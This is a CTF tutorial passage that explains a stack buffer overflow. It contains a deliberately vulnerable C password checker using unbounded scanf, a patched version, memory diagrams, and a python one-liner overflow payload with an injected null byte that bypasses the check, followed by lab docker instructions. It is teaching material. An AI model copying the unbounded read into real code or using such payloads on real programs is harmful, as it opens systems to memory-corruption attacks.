# Challenge example

## Code source exemple

{% tabs %}
{% tab title="Vulnerable" %}

```c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(void) {
    char passwd[16] = "";  // array to store the username
    char password[16] = ""; // array to store the password

    FILE *fp = fopen(".passwd", "r");
    fread(passwd, 1, 15, fp);
    fclose(fp);
    passwd[15] = '\0';

    printf("Enter the password: ");
    scanf("%s", password);  // read the password from the user

    if (strcmp(password, passwd) == 0) {
        printf("good job\n");
    } else {
        printf("permission denied\n");
    }

    return 0;
}
```

{% endtab %}

{% tab title="Patched" %}

```c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(void) {
    char passwd[16] = "";  // array to store the username
    char password[16] = ""; // array to store the password

    FILE *fp = fopen(".passwd", "r");
    fread(passwd, 1, 15, fp);
    fclose(fp);
    passwd[15] = '\0';

    printf("Enter the password: ");
    scanf("%15s", password);  // read the password from the user

    if (strcmp(password, passwd) == 0) {
        printf("good job\n");
    } else {
        printf("permission denied\n");
    }

    return 0;
}
```

{% endtab %}
{% endtabs %}

The objectif is to dectect the buffer overflow and exploit it to print "good job".

## Exploitation

This program is vulnerable to Buffer Overflow. In this case, the `password` array has a size of 16 characters, but the program does not check the length of the input entered by the user. This means that if the user enters a password that is longer than 15 characters, it will overwrite adjacent memory locations.

As explained in the "[operation of the stack](https://www.ctfrecipes.com/pwn/general-knowledge/operation-of-the-stack)" part, variables are stored into the stack in the same order that they are declared :

```bash
$ ./chall
Enter the password: AAAAAAAAAAAAAAA
```

```
  address   |   values
------------+-------------------------------------------------------------------
            |   +------------------------ password --------------------------+
0xffffd4dc: |   | 0x41  0x41    0x41    0x41    0x41    0x41    0x41    0x41 |
0xffffd4e4: |   | 0x41  0x41    0x41    0x41    0x41    0x41    0x41    0x00 |
            |   +------------------------------------------------------------+
            |   +------------------------- passwd ---------------------------+
0xffffd4ec: |   | 0x53  0x75    0x70    0x65    0x72    0x50    0x61    0x73 |
0xffffd4f4: |   | 0x73  0x77    0x6f    0x72    0x64    0x21    0x21    0x00 |
            |   +------------------------------------------------------------+
  ...       |    ...
```

If the input password is longer than 15 characters, the passwd value can be overwrite :

```
$ ./chall
Enter the password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```

```
  address   |   values
------------+-------------------------------------------------------------------
            |   +------------------------ password --------------------------+
0xffffd4dc: |   | 0x41  0x41    0x41    0x41    0x41    0x41    0x41    0x41 |
0xffffd4e4: |   | 0x41  0x41    0x41    0x41    0x41    0x41    0x41    0x41 |
            |   +------------------------------------------------------------+
            |   +------------------------- passwd ---------------------------+
0xffffd4ec: |   | 0x41  0x41    0x41    0x41    0x41    0x41    0x41    0x41 |
0xffffd4f4: |   | 0x41  0x41    0x41    0x41    0x41    0x41    0x41    0x41 |
            |   +------------------------------------------------------------+
  ...       |    ...
```

{% hint style="info" %}
Here, password and passwd reserved memory onto the stack have the same value ( 16\* 0x41 ) but this doesn't pass the if condition. This appears because although memory space is reserved for the variable, when reading a string, the end is defined by the `0x00` byte. So, until this byte is not present, the process continues to read memory, even beyond the initially reserved space for the variable. Thus, `password` = 32 \* `0x41` and `passwd` = 16 \* `0x41`

In order to pass the if condition, `password` and `passwd need to hjave the same value, to do that, it's needed to inject a null byte in the input.`
{% endhint %}

```bash
$ python3 -c "print('A' * 15 + '\0' + 'A'*15)" | ./chall    
Enter the password: good job
```

Now the stack is composed as the following :

```
 address   |   values
------------+-------------------------------------------------------------------
            |   +------------------------ password --------------------------+
0xffffd4dc: |   | 0x41  0x41    0x41    0x41    0x41    0x41    0x41    0x41 |
0xffffd4e4: |   | 0x41  0x41    0x41    0x41    0x41    0x41    0x41    0x00 |
            |   +------------------------------------------------------------+
            |   +------------------------- passwd ---------------------------+
0xffffd4ec: |   | 0x41  0x41    0x41    0x41    0x41    0x41    0x41    0x41 |
0xffffd4f4: |   | 0x41  0x41    0x41    0x41    0x41    0x41    0x41    0x00 |
            |   +------------------------------------------------------------+
  ...       |    ...
```

## Exercice

If you want to try this exploit by yourself, you can pull [this docker image](https://hub.docker.com/r/thectfrecipes/pwn/general) :

```
docker pull thectfrecipes/pwn:basics
```

Deploy the image using the followed command :

```
docker run --name thectfrecipes_buffer_overflow_basics -it --rm -d -p 3000:3000 thectfrecipes/pwn:basics
```

Access to the web shell with your browser at the address : `http://localhost:3000/`

```
login: challenge
password: password
```
